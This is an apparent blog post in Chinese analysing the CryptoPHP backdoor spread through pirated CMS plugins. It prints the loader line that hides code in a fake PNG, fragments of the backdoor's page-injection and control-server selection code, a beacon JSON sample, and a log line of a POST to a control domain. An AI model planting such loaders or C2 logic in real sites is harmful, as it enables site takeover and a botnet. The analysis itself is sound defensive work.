CryptoPHP后门分析报告
简介
CryptoPHP最早由国外的小狐狸安全团队发现,并且发布了研究报告,由于报告死长死长的,一堆废话,我就不翻译了,就用我自己的话描述一遍。
当时研究员监控到客户的服务器对国外的域名进行了POST请求,客户服务器使用了国外著名的开源系统Joomla ,并且在这个之前管理员唯一可疑的行为就是安装了一个插件叫J-secure,但是来源是一个第三方网站。
[08/May/2014:12:44:10 +0100] “POST http://worldcute.biz/ HTTP/1.1” – – “-” “-”
PS:没有refer,没有USER-AGENT,虽然服务器总会发一些请求出现,但不会像这样。
研究员对多个第三方网站进行了调查,发现大量下载站中提供的开源系统插件被植入后门,我特意去国外的下载站下载了几个插件,发现后门近期刚进行了更新,应该是通过控制多个下载站,定期对后门进行版本更新,同时后门本身也具有版本跟新的功能。
网址: nulledstylez.com
可以很明显的看出日期的不同,查看Jsecure.php文件,发现被插入了
<?php include('images/social.png'); ?>
查看包含的图片:
小狐狸。。。不对。。。是FOX团队研究员对后门进行了分析,发现所具备的功能。
1. 后门开发中使用框架本身的函数。
2. 后门会将数据保存至数据库中。
3. 后门使用RSA加密与其他服务器进行通信。
4. 使用了大量的控制服务器,对后门服务器进行控制。
5. 支持直接由黑客进行手动控制。
6. 自动更新
7. 代码注入网页
8.代码执行
黑客对后门进行了大量开发使其支持嵌入Joomla ,WordPress,Drupal的插件。当后门被植入一个系统,后门会调用框架本身的函数添加一个管理员,来保证当后门被删除,黑客仍拥有网站的控制权限。
到现在为止后门已经经过多个版本跟新。
$ANVoslonRNQSwwQloQTx[ 'ver' ] = 1.0;
这是我手里的,目前最新版本是 1.0a 。
先来看看后门本身使用的开发技术,我指讲几个有亮点的。
后门本身使用了大量的框架本身的函数,比如
WordPress 的 add_action
add_action('wp_head', array( $this, 'JLKCxmYDqGERxDYMhmOj' ));
add_action('wp_footer', array( $this, 'JLKCxmYDqGERxDYMhmOj' ));
joomla 的JResponse:getBody() and JResponse:setBody()
$NEKXukygfLoADkopeheR = JResponse::getBody();
JResponse::setBody($NEKXukygfLoADkopeheR);
让我深深怀疑该黑客之前是做开源系统二次开发的.
通信
后门本身使用了RSA加密来保证只有黑客或者控制服务器能够对后门服务器进行操作。
整个过程 后门植入->生成标示符| 生成秘钥 ->发送到控制服务器 -> 控制服务器响应->后门通信完成
后门本身包含一份控制服务器的LIST,初始化的时候随机挑选一台进行通信,提供一份代码实例
private function randomize_domain($domains, $max_domains) {
$count = count($domains);
if ($count <= $max_domains) {
return $domains;
}
$result[] = array();
$domain_indexes = array();
$domain_count = 0;
$counter = 0;
while (TRUE) {
$counter++;
$index = md5_index($this->domain . $counter, $count);
if (in_array($index, $domain_indexes)) {
continue;
}
$domain_indexes[] = $index;
$domain_count++;
if ($domain_count == $max_domains) {
break;
}
}
foreach ($domain_indexes as $idx) {
$result[] = $domains[$idx];
}
return $result;
}
private function md5_index($domain, $count) {
$md5_domain = hash("md5", $domain);
$index = (preg_replace("/[^0-9,.]/", "", $md5_domain));
while ($index > 10000000) {
$index /= 100000;
}
$index %= $count;
return $index;
}
后门服务器请求示例:
{ "empty": 0, "eval": true, "exec": true, "host": "http://127.0.0.1/", "ip": "127.0.0.1", "last_connect": "20141116", "page": "index.php", "publicKey": "-----BEGIN PUBLIC KEY-----[snipped..]", "run": 4, "serverKey": "BtajD2R2yR", "started": "20141114", "type": 0, "ver": 1 }
其他没什么特点的东西就不说了,说个有趣的事吧。
小狐狸团队也对作者进行了追踪,发现了下面一段代码
if($_SERVER['HTTP_USER_AGENT']=='chishijen12') {
error_reporting(E_ALL); ini_set('display_errors',1);
}
chishijen12 显然是一个作者的标示,因为看着怎么那么像拼音我就去查了查,结果发现这样的推特。
意思就是 chishi在 中文的意思是”食物”,不管怎么说,有机会见到他我就砍死他。
其中老外使用的控制服务器多搭几百台,中马的网站多达数十万,已经是僵尸网络的级别了。